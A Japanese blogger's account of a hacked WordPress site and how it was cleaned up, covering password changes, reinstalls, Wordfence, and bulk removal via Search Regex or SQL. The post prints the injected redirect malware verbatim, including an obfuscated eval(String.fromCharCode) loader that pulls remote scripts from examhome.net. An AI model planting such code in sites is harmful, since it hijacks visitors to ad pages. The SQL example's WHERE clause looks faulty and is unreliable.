PR

WordPressサイトが不正ログイン&コード改ざん解決方法

WordPressサイトで不正ログインされて困っていませんか?

WordPressでサイトを運営していて、デザインや記事内容がおかしい?と思ったことは有りませんか?

もしくは、見た目はいつも通りなんですが、ソースコードを見てみると、なんかおかしい?と思った事はありませんか?

私は、複数のWordPressサイトを運営しているのですが、2018年9月16日23時頃とうとう私のサイトにも不正ログインとコード改ざんの事件が発生しました。

今回は、その際の経緯や対応方法について記載します。

なぜコード改ざんされたのか?

恐らく原因は、先月にレンタルサーバーで発生したと連絡のあった、ネームサーバーへのDDos攻撃による影響ではないかと思います。

もしくは、WordPress管理画面かFTPサーバー経由からディレクトリに不正アクセスされてコード改ざんが行われたのではないかと思われます。と記載していましたが「この攻撃では不正コード改ざんは行われないのでは?」「古いプラグインが原因では?」とご指摘を受けました。

どちらかはハッキリとはわかりませんが、こちらの可能性の方が高いそうです。

実際に行われてしまったコード改ざんの内容

記述された不正コード

今回行われたのは、不正コード改ざんとは記載していますが、実際にはサーバーに不正ログインされて、<head>タグが喜寿されているphpファイルの殆どに以下の<script>~</script>が記述されていました。このコードは、ビジターユーザーがサイトに訪問するとリダイレクトされて広告サイトに訪問してしまうという内容でした。

実際に記述されてしまった不正な<script>~</script>コード

<script src='https://s2.voipnewswire.net/s2.js' type='text/javascript'></script><script src='https://cdn.examhome.net/cdn.js?ver=1.0.5' type='text/javascript'></script>
<script language=javascript>eval(String.fromCharCode(118, 97, 114, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 57, 55, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 56, 44, 32, 52, 54, 44, 32, 53, 48, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125));</script>

コード改ざんされたファイル一覧

以下、不正な<script>~</script>コードが記述されたファイルの一例です。全て記述してやろうと思いましたが、多すぎて断念しました。。。

  • wp-login.php:<head>の開始&終了タグ前に不正コードが2箇所
  • wp-links-opml.php:<head>の開始&終了タグ前に不正コードが2箇所
  • readme.html:<head>の開始&終了タグ前に不正コードが2箇所
  • wp-admin/upgrade.php:<head>の開始&終了タグ前に不正コードが2箇所
  • wp-admin/setup-config.php:<head>の開始&終了タグ前に不正コードが2箇所
  • wp-admin/install.php:<head>の開始&終了タグ前に不正コードが4箇所
  • wp-admin/includes/template.php:<head>の開始&終了タグ前に不正コードが2箇所
  • wp-admin/includes/file.php:<head>の開始&終了タグ前に不正コードが2箇所
  • wp-admin/maint/repair.php:<head>の開始&終了タグ前に不正コードが2箇所
  • wp-content/cache/autoptimize/index.html:<head>タグ後ろに不正コードが1箇所
  • wp-content/cache/autoptimize/js/index.html:<head>の開始&終了タグ前に不正コードが2箇所
  • wp-content/cache/autoptimize/css/index.html:<head>の開始&終了タグ前に不正コードが2箇所
  • wp-includes/ms-deprecated.php:<head>の開始&終了タグ前に不正コードが2箇所
  • wp-includes/load.php:<head>の開始&終了タグ前に不正コードが2箇所
  • wp-includes/theme.php:<head>タグ後ろに不正コードが1箇所
  • wp-includes/functions.wp-scripts.php:<head>の開始&終了タグ前に不正コードが2箇所
  • wp-includes/functions.php:<head>の開始&終了タグ前に不正コード①が4箇所
  • wp-includes/embed.php:<head>タグ後ろに不正コードが1箇所
  • 他にもいろいろあって全て書ききれませんでした。。。

コード改ざん後の復旧対応方法①

ニックネーム、パスワード変更を変更する

これ以上被害を増やさないために、不正コードの修正を行う前にパスワードを変更しておきましょう。WordPressのデフォルト設定では、ログインIDとニックネームが同一になってしまうのでニックネームも変更しておきます。その際にブログ上の表示名もニックネームが表示されるようにしておきましょう。大事なので二度言いますね、ニックネーム・ブログ上の表示名・パスワードの変更の3点を変更しましょう。

パスワード変更画面

全プラグイン停止後、更新&再インストール

まずは安全のため、全プラグインを停止させます。その後、更新できるものは更新し最新版へ。更新できないものは一度アンインストールして再インストールしておきます。今回、私のサイトでは「Autoptimize」内のphpファイルにも不正コード改ざんが行われていましたので、インストール済のプラグインは更新もしくは再インストールをしておいた方がいいです。

WordPressの再インストール

実際に一つ一つ確認しながら不正コードを削除していくよりも、ダッシュボードから再インストールする方が確実且つ安全なので再インストールをお勧めします。

WordPressテーマの再インストール

テーマ内は不正コードだらけですので、もちろんWordPressテーマについてもアップデートもしくは、再インストールを行います。

コード改ざん後の復旧対応方法:プラグイン編②

Wordfence Security – Firewall & Malware Scanをインストール

Wordfence Security – Firewall & Malware Scan

WordPressプラグインの「Wordfence Security – Firewall & Malware Scan」は最もインストールされているトータルセキュリティプラグインです。

最も人気のあるWORSPRESSファイアウォール&セキュリティスキャナ
Wordfenceには、WordPressを保護するために構築されたエンドポイントファイアウォールとマルウェアスキャナが含まれています。当社の脅威防衛は、最新のファイアウォールルール、マルウェアシグネチャ、悪質なIPアドレスでWordfenceを武器にして、Webサイトを安全に保つ必要があります。Wordfenceは、一連の追加機能によって完成されたもので、WordPressの最も包括的なセキュリティソリューションです。(公式抜粋)

インストールはこちらから(WP公式)

WordPressダッシュボード>プラグイン新規追加 からも「Wordfence Security – Firewall & Malware Scan」を検索する事でインストール可能ですのでこちらからの方が早いと思います。

Wordfence Security – Firewall & Malware Scan

ダッシュボード画面

Wordfence Security – Firewall & Malware Scan

とりあえず、有効化しておくだけで、サイトを守ってくれますので、今は有効化するのみにしておきます。

投稿・固定ページ本文もチェックしておきましょう

投稿記事の本文・固定記事の本文にも不正コードが記述されている可能性が高いので、投稿記事の本文・固定記事の本文も確認しましょう。

私の場合も投稿記事・固定記事本文にも以下の様な不正コードが記述されていました。

不正コード改ざんscript

<script src='https://s2.voipnewswire.net/s2.js' type='text/javascript'></script><script src='https://cdn.examhome.net/cdn.js?ver=1.0.5' type='text/javascript'></script>

投稿記事・固定ページ本文の不正コードを一括削除する

投稿記事・固定ページ本文の不正コードを一括削除するために、プラグインの新規追加から「Search Regex」を追加します。

Search Regex

プラグインを有効化し、設定画面へ移動後、Search patternに記述された不正コードを貼り付けてSearchを押します。すると記述されてしまった記事が表示されます。Searchを押しても何も起こらず画面が真っ白になった場合は、ブラウザで戻ってLimit to:を100(100件ずつ処理)にすると正常に表示されると思います。この段階では、まだ削除はされていません。

Search Regex

記事をざざっと確認後、削除しても問題無いようであれば、Replace & Save を押して一括削除しましょう。

これで一応、投稿記事・固定ページ本文の不正コードは削除できました。

PHP MyAdminならSearch Regexより簡単に一括削除できました※2018/9/20追記

Search Regexで投稿記事・固定ページ本文の不正コードを一括削除していっていたのですが、「PHP MyAdminでできるよね??」と思って色々調べた結果、なんとかできましたので追記します。参考にさせていただいたサイト様

まずは、PHP MyAdminに移動します。

PHPMyAdmin

不正コードが記述されたデータベース>テーブルを選択します。そこからSQL実行画面へ移動します。移動後、以下のSQL文を記述するのですが、仮にテーブル(wordpress_posts)内のフィールド(post_content)内の今回の不正コードを一括削除する場合は、以下のSQL文となります。

UPDATE wordpress_posts
SET post_content=REPLACE(post_content, '<script src=\'https://s2.voipnewswire.net/s2.js\' type=\'text/javascript\'></script><script src=\'https://cdn.examhome.net/cdn.js?ver=1.0.5\' type=\'text/javascript\'></script>' , '')
WHERE post_type='post'&'page' ;

※上記の中(preタグ内)にあるバックスラッシュは\マークに置換してSQL文として貼り付けてください(preタグの不具合のためバックスラッシュになっています)。

上記を自サイト用にアレンジしたSQL文を貼り付けた後、「クエリをシュミレート」を押して正常に実行されるかを確認します。

問題無いようであれば「実行」を押せば、全投稿・固定ページ記事内の本文から不正コードが削除されまると思います!

PHPMyAdmin

修正後の確認は、chromeのシークレットモードがおすすめ

修正後、不正リダイレクトされないかの確認を行う際は、chromeのシークレットモードやEdgeのInPrivateウィンドウで確認することをお勧めします。サイトのクッキーやキャッシュが残っている場合に不正リダイレクトが発生しない可能性が有るため、この方法で確認することをお勧めします。

 

今回、とても大変でした。「自分のサイトは大丈夫!」と思っていたら、、、ってやつでした。アカウント管理は出来る限り厳重にやらねば…と思い知りました。皆さんもWordPressの不正ログインや不正コード改善にはお気をつけて!

タイトルとURLをコピーしました